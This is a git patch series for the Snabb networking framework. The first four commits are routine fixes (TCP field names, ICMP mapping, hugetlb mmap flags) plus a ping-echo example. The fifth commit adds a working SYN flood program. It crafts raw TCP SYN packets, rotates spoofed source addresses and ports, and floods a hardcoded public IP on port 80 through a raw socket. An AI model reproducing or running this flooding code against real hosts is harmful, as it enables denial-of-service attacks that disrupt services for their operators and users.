From 88da49f57ca10843488761e4ceeb2c3f21eaafdf Mon Sep 17 00:00:00 2001 From: hepeng Date: Sun, 22 Apr 2018 05:07:48 -0400 Subject: [PATCH 1/5] fix a bug in tcp fields, tcp.ack is the bit set in tcp flags while tcp.ack_num should be the ack seq number. --- src/lib/protocol/tcp.lua | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/lib/protocol/tcp.lua b/src/lib/protocol/tcp.lua index 8e5aec189a..8df38aaf95 100644 --- a/src/lib/protocol/tcp.lua +++ b/src/lib/protocol/tcp.lua @@ -36,8 +36,8 @@ function tcp:new (config) local o = tcp:superClass().new(self) o:src_port(config.src_port) o:dst_port(config.dst_port) - o:seq_num(config.seq) - o:ack_num(config.ack) + o:seq_num(config.seq_num) + o:ack_num(config.ack_num) o:window_size(config.window_size) o:header().pad = 0 o:offset(config.offset or 0) From ae53f4aef3d6f5b582f14c3204a109b4865c98ad Mon Sep 17 00:00:00 2001 From: hepeng Date: Sun, 22 Apr 2018 05:18:56 -0400 Subject: [PATCH 2/5] icmp for ipv4 --- src/lib/protocol/ipv4.lua | 1 + 1 file changed, 1 insertion(+) diff --git a/src/lib/protocol/ipv4.lua b/src/lib/protocol/ipv4.lua index 8e6e40af24..4ecd82a9bf 100644 --- a/src/lib/protocol/ipv4.lua +++ b/src/lib/protocol/ipv4.lua @@ -35,6 +35,7 @@ ipv4._ulp = { [17] = "lib.protocol.udp", [47] = "lib.protocol.gre", [58] = "lib.protocol.icmp.header", + [1] = "lib.protocol.icmp.header", }, method = 'protocol' } ipv4:init( From 3c77fb27b95cb9bd3b54a0b138870772259515f4 Mon Sep 17 00:00:00 2001 From: hepeng Date: Sun, 22 Apr 2018 05:19:24 -0400 Subject: [PATCH 3/5] makes snabb runs on Centos 7 --- src/core/memory.lua | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/memory.lua b/src/core/memory.lua index a6a61b78fd..d7159398f9 100644 --- a/src/core/memory.lua +++ b/src/core/memory.lua @@ -146,12 +146,12 @@ function allocate_huge_page (size, persistent) local fd = syscall.open(tmpfile, "creat, rdwr", "RWXU") assert(fd, "create hugetlb") assert(syscall.ftruncate(fd, size), "ftruncate") - local tmpptr = syscall.mmap(nil, size, "read, write", "shared, hugetlb", fd, 0) + local tmpptr = syscall.mmap(nil, size, "read, write", "shared", fd, 0) assert(tmpptr, "mmap hugetlb") assert(syscall.mlock(tmpptr, size)) local phys = resolve_physical(tmpptr) local virt = bit.bor(phys, tag) - local ptr = syscall.mmap(virt, size, "read, write", "shared, hugetlb, fixed", fd, 0) + local ptr = syscall.mmap(virt, size, "read, write", "shared, fixed", fd, 0) local filename = ("/var/run/snabb/hugetlbfs/%012x.dma"):format(tonumber(phys)) if persistent then assert(syscall.rename(tmpfile, filename)) From 55883f16dfd83c62f352bd39f0201ba94e8c9703 Mon Sep 17 00:00:00 2001 From: hepeng Date: Sun, 22 Apr 2018 05:21:47 -0400 Subject: [PATCH 4/5] add ping parse example --- src/program/ping/ping.lua | 24 +++++++++++++++++ src/program/ping/pingecho.lua | 49 +++++++++++++++++++++++++++++++++++ 2 files changed, 73 insertions(+) create mode 100755 src/program/ping/ping.lua create mode 100755 src/program/ping/pingecho.lua diff --git a/src/program/ping/ping.lua b/src/program/ping/ping.lua new file mode 100755 index 0000000000..2b2115b951 --- /dev/null +++ b/src/program/ping/ping.lua @@ -0,0 +1,24 @@ +-- Use of this source code is governed by the Apache 2.0 license; see COPYING. + +module(..., package.seeall) + +local socket = require("apps.socket.raw") +local pingecho = require("program.ping.pingecho") + +function run (parameters) + if not (#parameters == 1) then + print("Usage: ping ") + main.exit(1) + end + local interface = parameters[1] + + local c = config.new() + config.app(c, "raw", socket.RawSocket, interface) + config.app(c, "pingecho", pingecho.PingEcho) + + config.link(c, "raw.tx -> pingecho.input") + config.link(c, "pingecho.output -> raw.rx") + + engine.configure(c) + engine.main({duration=2, report = {showlinks=true}}) +end diff --git a/src/program/ping/pingecho.lua b/src/program/ping/pingecho.lua new file mode 100755 index 0000000000..d8fa4f56bb --- /dev/null +++ b/src/program/ping/pingecho.lua @@ -0,0 +1,49 @@ +-- Use of this source code is governed by the Apache 2.0 license; see COPYING. + +module(..., package.seeall) +local ipv4 = require("lib.protocol.ipv4") +local ethernet = require("lib.protocol.ethernet") +local icmp = require("lib.protocol.icmp.header") +local dgram = require("lib.protocol.datagram") + +PingEcho = {} + +function PingEcho:new () + return setmetatable({}, {__index = PingEcho}) +end + +function PingEcho:pingecho (p, output) + local d = dgram:new(p, ethernet) + + local eth = d:parse_match() + local ip = d:parse_match() + if ip == nil then + packet.free(p) + return nil + end + + local l4 = d:parse_match() + if l4 == nil then + packet.free(p) + return nil + end + + if l4:class() == icmp then + return p + end + + packet.free(p) +end + +function PingEcho:push () + local input = assert(self.input.input, "input port not found") + local output = assert(self.output.output, "output port not found") + for i = 1, link.nreadable(input) do + local p = link.receive(input) + local outpkt = self:pingecho(p) + if outpkt ~= nil then + link.transmit(output, outpkt) + end + end +end + From 9f111a90bca518d1549ce1c8877f0350cfba02e5 Mon Sep 17 00:00:00 2001 From: hepeng Date: Sun, 22 Apr 2018 22:33:14 -0400 Subject: [PATCH 5/5] add synflood program --- src/program/synflood/syn_flood.lua | 187 +++++++++++++++++++++++++++++ src/program/synflood/synflood.lua | 26 ++++ 2 files changed, 213 insertions(+) create mode 100644 src/program/synflood/syn_flood.lua create mode 100755 src/program/synflood/synflood.lua diff --git a/src/program/synflood/syn_flood.lua b/src/program/synflood/syn_flood.lua new file mode 100644 index 0000000000..9efab4ae6d --- /dev/null +++ b/src/program/synflood/syn_flood.lua @@ -0,0 +1,187 @@ +-- Use of this source code is governed by the Apache 2.0 license; see COPYING. + +module(...,package.seeall) + +local ffi = require("ffi") +local ethernet = require("lib.protocol.ethernet") +local tcp = require("lib.protocol.tcp") +local ip = require("lib.protocol.ipv4") +local C = ffi.C +local datagram = require("lib.protocol.datagram") +local transmit, receive = link.transmit, link.receive +local lib = require("core.lib") +local htons, ntohs, htonl, ntohl = + lib.htons, lib.ntohs, lib.htonl, lib.ntohl + +ip_mod = {} + +function ip_mod:new(ip_conf) + ip_conf.curr = ip_conf.start + return setmetatable(ip_conf, {__index = ip_mod}) +end + + +function split(s, p) + local rt= {} + string.gsub(s, '[^'..p..']+', function(w) table.insert(rt, w) end ) + return rt +end + + +function ip_mod:inc() + local ret = 0 + if self.curr == self.stop then + self.curr = self.start + ret = 1 + return ret + end + + local v = split(self.curr, '.') + local i = 4 + while i > 0 do + local tail = tonumber(v[i]) + if tail +1 == 255 and i == 4 then + v[i] = tostring(1) + elseif tail +1 > 255 and i ~= 4 then + v[i] = tostring(0) + else + v[i] = tostring(tail +1) + break + end + i = i - 1 + end + self.curr = table.concat(v, '.') + return ret +end + +port_mod = {} + +function port_mod:new(port) + port.curr = port.start + return setmetatable(port, {__index = port_mod}) +end + + +function port_mod:inc() + self.curr = self.curr + 1 + local ret = 0 + if self.curr >= self.stop then + self.curr = self.start + ret = 1 + end + return ret +end + +f_moder = {} + +function f_moder:new(conf) + conf[1] = conf.ip_src + conf[2] = conf.ip_dst + conf[3] = conf.sport + conf[4] = conf.dport + return setmetatable(conf, {__index = f_moder}) +end + +function f_moder:inc() + local next_to_inc = 1 + local ret = 0 + repeat + ret = self[next_to_inc]:inc() + if ret == 1 then + next_to_inc = next_to_inc + 1 + end + if next_to_inc > 4 then + next_to_inc = 1 + end + until ret == 0 +end + + +Synfld = {} + +local eth_src_addr = ethernet:pton("6c:92:bf:04:ee:92") +local eth_dst_addr = ethernet:pton("3c:8c:40:b0:27:a2") + +config = { + size = 64, + eth_src = eth_src_addr, + eth_dst = eth_dst_addr, + mod_fields = f_moder:new({ + ip_src = ip_mod:new({ + start = '117.161.3.75', + stop = '117.161.3.78', + }), + + ip_dst = ip_mod:new({ + start = '117.161.3.65', + stop = '117.161.3.65', + }), + + sport = port_mod:new({ + start = 1, + stop = 65534, + }), + + dport = port_mod:new({ + start = 80, + stop = 80, + }), + + }), +} + + +function Synfld:new (conf) + local payload_size = conf.size - ethernet:sizeof() - ip:sizeof() - tcp:sizeof() + assert(payload_size >= 0 and payload_size <= 1536, + "Invalid payload size: "..payload_size) + return setmetatable({conf=conf, done = false}, {__index=Synfld}) +end + +function Synfld:pull () + local n = 0 + while n < engine.pull_npackets do + local payload_size = self.conf.size - ethernet:sizeof() - ip:sizeof() - tcp:sizeof() + local data = ffi.new("char[?]", payload_size) + local dgram = datagram:new(packet.from_pointer(data, payload_size)) + local ether_hdr = ethernet:new({src = self.conf.eth_src, + dst = self.conf.eth_dst, + type = 0x0800 }) + local ip_hdr = ip:new({src = ip:pton(self.conf.mod_fields.ip_src.curr), + dst = ip:pton(self.conf.mod_fields.ip_dst.curr), + ttl = 64, + id = math.random(10000), + protocol = 0x6}) + + local tcp_hdr = tcp:new({src_port = self.conf.mod_fields.sport.curr, + dst_port = self.conf.mod_fields.dport.curr, + syn = 1, + seq_num = math.random(100000), + ack_num = math.random(100000), + window_size = 512, + offset = tcp:sizeof() /4, + }) + + ip_hdr:total_length(ip_hdr:total_length() + tcp_hdr:sizeof() + payload_size) + ip_hdr:checksum() + tcp_hdr:checksum(data, payload_size, ip_hdr) + + + dgram:push(tcp_hdr) + dgram:push(ip_hdr) + dgram:push(ether_hdr) + + transmit(self.output.output, dgram:packet()) + + self.conf.mod_fields:inc() + n = n + 1 + end +end + +function Synfld:stop () + +end + +function selftest () + +end diff --git a/src/program/synflood/synflood.lua b/src/program/synflood/synflood.lua new file mode 100755 index 0000000000..02c82e70c8 --- /dev/null +++ b/src/program/synflood/synflood.lua @@ -0,0 +1,26 @@ +-- Use of this source code is governed by the Apache 2.0 license; see COPYING. + +module(..., package.seeall) + + +local synfld = require("program.synflood.syn_flood") + +local raw = require("apps.socket.raw") + + +function run (parameters) + if not (#parameters == 1) then + print("Usage: synflood ") + main.exit(1) + end + local interface = parameters[1] + + local c = config.new() + config.app(c, "synfld", synfld.Synfld, synfld.config) + config.app(c, "playback", raw.RawSocket, interface) + + config.link(c, "synfld.output -> playback.rx") + + engine.configure(c) + engine.main({report = {showlinks=true}}) +end